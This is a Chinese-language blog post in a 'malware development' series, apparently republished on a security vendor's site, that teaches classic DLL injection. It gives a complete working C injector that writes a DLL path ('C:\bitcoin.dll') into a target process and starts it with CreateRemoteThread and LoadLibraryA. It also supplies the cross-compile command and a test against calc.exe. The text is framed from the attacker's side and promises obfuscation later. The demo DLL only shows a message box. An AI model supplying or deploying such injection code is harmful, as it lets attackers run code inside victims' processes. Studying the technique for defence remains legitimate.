长亭百川云 - 文章详情

恶意软件开发第 5 部分:将 DLL 注入进程

Ots安全

25

2024-08-15


让我们来谈谈一种经典的技巧,即使用调试工具的 DLL 注入。在上一部分中,我们讨论了将代码放入程序中。现在,让我们准备注入我们的 DLL。

当您为常规程序 (exe) 和称为 DLL 的特殊程序编写 C 代码时,会存在一些细微的差别。对于 exe,操作系统通过调用名为 main 的函数来启动所有程序。但对于 DLL,情况略有不同。操作系统已经在内存中启动了一个进程。您的 DLL 被加载到该进程中,因为该进程需要您的 DLL 可以执行的操作。

因此exe 需要一个 main 函数,而 DLL 需要一个 DLLMain 函数。这就是两者之间的主要区别。

为了简单起见,我们创建仅弹出消息框的 DLL:

此 DLL 仅包含 DllMain 函数,该函数是 DLL 的主入口点。通常,合法的 DLL 会声明导出函数,但此 DLL 不会。在 DLL 加载到进程内存后,会立即执行 DllMain。

在 DLL 注入的背景下,简单性是在另一个进程中执行代码的关键。因此,许多恶意 DLL 的大部分有害代码都包含在 DllMain 中。虽然有方法可以强制进程运行导出函数,但使用 DllMain 通常是实现代码执行的最直接方法。

当注入进程时,此 DLL 应显示消息“ hii ”以确认注入成功。这使攻击者能够验证注入是否成功。

现在我们可以编译它(在攻击者的机器上):

并将其放在我们选择的目录中(受害者的机器):

现在我们只需要一个代码将这个库注入到我们选择的进程中。

在我们的案例中,我们将讨论经典的 DLL 注入。我们从磁盘分配一个大小至少等于 DLL 路径长度的空缓冲区。然后我们将路径复制到此缓冲区。

1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <windows.h>
5#include <tlhelp32.h>
6
7
8char evilDLL[] = "C:\\bitcoin.dll";
9unsigned int evilLen = sizeof(evilDLL) + 1;
10
11
12int main(int argc, char* argv[]) {
13    HANDLE ph; // process handle
14    HANDLE rt; // remote thread
15    LPVOID rb; // remote buffer
16
17
18    // handle to kernel32 and pass it to GetProcAddress
19    HMODULE hKernel32 = GetModuleHandle("Kernel32");
20    FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Use FARPROC for function pointer
21
22
23    // parse process ID
24    if ( atoi(argv[1]) == 0) {
25        printf("PID not found :( exiting...\n");
26        return -1;
27    }
28    printf("PID: %i\n", atoi(argv[1]));
29
30
31    ph = OpenProcess(PROCESS_ALL_ACCESS,
32                     FALSE,
33                     DWORD(atoi(argv[1])));
34
35
36    // allocate memory buffer for remote process
37    rb = VirtualAllocEx(ph, NULL, evilLen,
38                        (MEM_RESERVE | MEM_COMMIT),
39                        PAGE_EXECUTE_READWRITE);
40
41
42    // "copy" evil DLL between processes
43    WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
44
45
46    // our process start new thread
47    rt = CreateRemoteThread(ph, NULL, 0,
48                            (LPTHREAD_START_ROUTINE)lb, // Cast lb to the appropriate function pointer type
49                            rb, 0, NULL);
50
51
52    CloseHandle(ph);
53    return 0;
54}

此代码是恶意软件注入的一个简单示例。其工作原理如下:

  1. 加载恶意 DLL:代码指定恶意 DLL 的路径(bitcoin.dll)及其长度。

  2. 获取函数地址:使用LoadLibraryA从模块中检索函数的地址。此函数负责加载 DLL。Kernel32GetProcAddress

  3. 打开目标进程:使用 打开由其进程 ID (PID) 指定的目标进程OpenProcess。

  4. 在目标进程中分配内存:它在目标进程内分配内存,用于VirtualAllocEx存储恶意 DLL 的路径。

  5. 写入目标进程内存:使用将恶意DLL的路径写入目标进程分配的内存空间WriteProcessMemory。

  6. 创建远程线程:使用 在目标进程中创建远程线程CreateRemoteThread。指示该线程执行LoadLibraryA函数,并将存储恶意 DLL 路径的内存地址作为参数传递。

最终,当我们理解了注入器的全部代码后,我们就可以测试它了。编译它:

1x86_64-w64-mingw32-gcc -O2 bitcoin1.cpp -o bit_inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

让我们首先启动一个 calc.exe 实例,然后执行我们的程序:

为了验证我们的 DLL 确实被注入到 calc.exe 进程中,我们可以使用 Process Hacker。

在另一个内存部分我们可以看到:

看来我们的简单注入逻辑成功了!这只是将 DLL 注入另一个进程的最简单的方法,但在许多情况下它就足够了,而且非常有用。

如果您愿意,您还可以添加函数调用混淆,这将在未来的部分中进行研究。

在以后的部分中,我将尝试找出更高级的代码注入技术。

我希望你喜欢它:)



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2